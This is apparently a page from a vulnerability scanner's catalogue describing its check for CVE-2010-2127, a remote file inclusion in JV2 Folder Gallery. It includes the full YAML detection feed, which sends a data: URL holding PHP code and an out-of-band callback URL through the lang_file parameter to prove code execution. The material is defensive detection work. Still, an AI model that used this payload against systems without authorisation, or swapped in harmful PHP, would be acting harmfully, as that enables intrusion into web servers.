JV2 Folder Gallery — 1 vulnerability check
noctis ships 1 vulnerability check for JV2 Folder Gallery, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
JV2 Folder Gallery gallery.php lang_file Remote File Inclusion
| CVE | CVE-2010-2127 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/jv2-folder-gallery/CVE-2010-2127.yaml |
Tests JV2 Folder Gallery for the unauthenticated file inclusion in gallery/gallery.php, which passes the lang_file parameter unchanged to include(). The feed requests gallery/gallery.php under the usual install folders with lang_file set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, lang_file is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include error naming a random value shows that the value reaches include() unchecked. The snippet only prints a hash and writes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/gallery/gallery.php?lang_file={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: JV2 Folder Gallery gallery.php lang_file Remote File Inclusion (CVE-2010-2127) - HTTP(S) request
GET {{dir}}/gallery/gallery.php?lang_file={{probe.marker}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/gallery/gallery.php?lang_file={{oob_url}} - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: JV2 Folder Gallery gallery.php lang_file Remote File Inclusion (CVE-2010-2127)
- Checks
warn_prooffor^noctis[0-9a-zA-Z]+$→ finding QoD 75: JV2 Folder Gallery gallery.php lang_file File Inclusion (CVE-2010-2127)
References:
Feed source — tests/vulnerabilities/jv2-folder-gallery/CVE-2010-2127.yaml
# JV2 Folder Gallery gallery/gallery.php lang_file remote file inclusion — CVE-2010-2127
#
# JV2 Folder Gallery (PHP image gallery by Joonas Viljanen, foldergallery.jv2.net,
# 3.1 and earlier, never fixed) relies on register_globals. Its gallery/gallery.php
# runs, at line 113 (advisory exploit-db 12688):
#
# include ($lang_file);
#
# so gallery/gallery.php?lang_file=<x> includes <x> verbatim (no prefix, no
# suffix). The product site and its downloads are gone, so the code above is
# quoted from the advisory; the gallery/ sub-folder layout matches the other
# public advisories (exploit-db 3240, 12732).
#
# Detection, per usual install folder (web root, /gallery, /foldergallery, /jv2):
# 1. In-band code execution (QoD 97): lang_file is a data: URL holding
# <?php echo md5(A*B);exit;?> with random A and B. When PHP may include
# URLs (allow_url_include, PHP >= 5.2) the code runs and the reply carries
# md5 of the product, a value the request never contains. If the wrapper is
# refused, PHP's warning quotes the code text, not the md5. The code has no
# quotes (magic_quotes_gpc-safe) and writes nothing.
# 2. OOB (QoD 97, only when OOB is enabled): lang_file is the noctis callback
# URL; a fetch of it is the remote inclusion (allow_url_fopen on PHP 4 /
# 5.0 / 5.1, allow_url_include later). Also covers servers hiding PHP
# errors and output.
# 3. Fallback (QoD 75): lang_file is a random name; the reply must carry PHP's
# include() / main() "failed to open stream" warning or "Failed opening
# '<random>' for inclusion" naming that value: it went into include()
# unchecked. A page that merely echoes the query string does not match.
#
# The source check only compares a version found by a separate detection
# against 3.1. The page markup that detection reads is not public any more, so
# no version branch is shipped: every finding here comes from the include
# itself, which also covers renamed or unversioned installs.
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_jv2_folder_gallery_rfi_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801351, GPL-2.0-only). Improvements: real code
# execution / OOB / include-error proof instead of a version comparison.
uid: 004657d7-1e4d-4cd1-bb52-68ee2c52a3e0
name: "JV2 Folder Gallery gallery.php lang_file Remote File Inclusion (CVE-2010-2127)"
description: |
Tests JV2 Folder Gallery for the unauthenticated file inclusion in
gallery/gallery.php, which passes the lang_file parameter unchanged to
include(). The feed requests gallery/gallery.php under the usual install
folders with lang_file set to a data: URL carrying a small PHP snippet that
prints the md5 of the product of two random numbers; that md5 in the reply
confirms that the server ran code supplied in the request. When OOB is
enabled, lang_file is also set to the scanner's callback URL, and a fetch of
that URL confirms the remote inclusion even when PHP output and errors are
hidden. Otherwise, a PHP include error naming a random value shows that the
value reaches include() unchecked. The snippet only prints a hash and writes
nothing on the server.
cves: [CVE-2010-2127]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [jv2-folder-gallery, php, rfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-2127"
- "https://www.exploit-db.com/exploits/12688"
# OpenVAS/Greenbone NASL 2010/gb_jv2_folder_gallery_rfi_vuln.nasl (GPL-2.0-only)
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
# md5(A*B) is printed only when the included snippet actually runs.
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12)
}
store_as: probe
- id: init-warn-found
action: set_var
var_name: warn_found
var_value: false
- id: init-warn-dir
action: set_var
var_name: warn_dir
var_value: ""
- id: init-warn-proof
action: set_var
var_name: warn_proof
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# install folder. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/gallery", "/foldergallery", "/jv2"]
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{dir}}/gallery/gallery.php?lang_file={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "JV2 Folder Gallery gallery.php lang_file Remote File Inclusion (CVE-2010-2127)"
description: "An unauthenticated request to gallery/gallery.php with lang_file set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. gallery.php passes lang_file to include() without any check, so an attacker can run any PHP code on the server."
remediation: "JV2 Folder Gallery is no longer maintained and no fixed version exists: remove it from the server. Until then, block direct access to its gallery/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/gallery/gallery.php?lang_file=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 3. Random value — include() error naming it (fallback) ───────────────
- id: warn-probe
action: http_request
method: GET
path: "{{dir}}/gallery/gallery.php?lang_file={{probe.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
# Also when the code probe got no reply (status 0, e.g. a filter dropping
# "<?php"): this plain request may still get through.
condition: "warn_found == false && rce_r.status != 404"
store_as: warn_r
# PHP 4: "main(<v>): failed to open stream" / "main(): Failed opening '<v>'
# for inclusion"; PHP 5: "include(<v>) [function.include]: failed to open
# stream" (or the html_errors link form); PHP 8: "include(<v>): Failed to
# open stream". The function name, the value and the stream error must be
# together, which an echoed query string never gives.
- id: warn-check
action: script
code: |
let m = probe.marker;
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let hit = b.contains("Failed opening '" + m + "' for inclusion");
if egrep("(include|main)\\(" + m + "\\)( \\[[^\\]]*\\])?: [Ff]ailed to open stream", b) != "" { hit = true; }
hit
condition: "warn_found == false"
store_as: warn_hit
- id: warn-dir
action: script
code: "dir"
condition: "warn_found == false && warn_hit"
store_as: warn_dir
- id: warn-proof
action: script
code: "probe.marker"
condition: "warn_found == false && warn_hit"
store_as: warn_proof
- id: warn-found
action: set_var
var_name: warn_found
var_value: true
condition: "warn_hit"
# ── 2. Callback URL — remote inclusion seen out of band ──────────────────
# Sent to every folder not answering 404 (also when the code probe got no
# reply), since a server hiding PHP errors gives no in-band sign.
- id: oob-probe
action: http_request
method: GET
path: "{{dir}}/gallery/gallery.php?lang_file={{oob_url}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && rce_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && rce_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "JV2 Folder Gallery gallery.php lang_file Remote File Inclusion (CVE-2010-2127)"
description: "An unauthenticated request to gallery/gallery.php with lang_file set to the noctis callback URL made the server fetch that URL: gallery.php passes lang_file to include() without any check, so an attacker can make it fetch and run PHP code from a server they control."
remediation: "JV2 Folder Gallery is no longer maintained and no fixed version exists: remove it from the server. Until then, block direct access to its gallery/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <dir>/gallery/gallery.php?lang_file=<OOB URL> (remote file inclusion)"
stop: true
# ── Fallback finding: include() error naming the random value ────────────
- id: report-warn
action: match
source: warn_proof
pattern: "^noctis[0-9a-zA-Z]+$"
condition: 'warn_proof != ""'
on_match:
finding:
title: "JV2 Folder Gallery gallery.php lang_file File Inclusion (CVE-2010-2127)"
description: "An unauthenticated request to gallery/gallery.php with lang_file set to a random value returned a PHP include error for that exact value: gallery.php passes lang_file to include() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the included path is attacker-controlled, which at least allows reading or running local files."
remediation: "JV2 Folder Gallery is no longer maintained and no fixed version exists: remove it from the server. Until then, block direct access to its gallery/ folder, disable register_globals and set allow_url_include and allow_url_fopen to Off."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_dir}}/gallery/gallery.php?lang_file={{warn_proof}} returned a PHP include error for {{warn_proof}}"
stop: true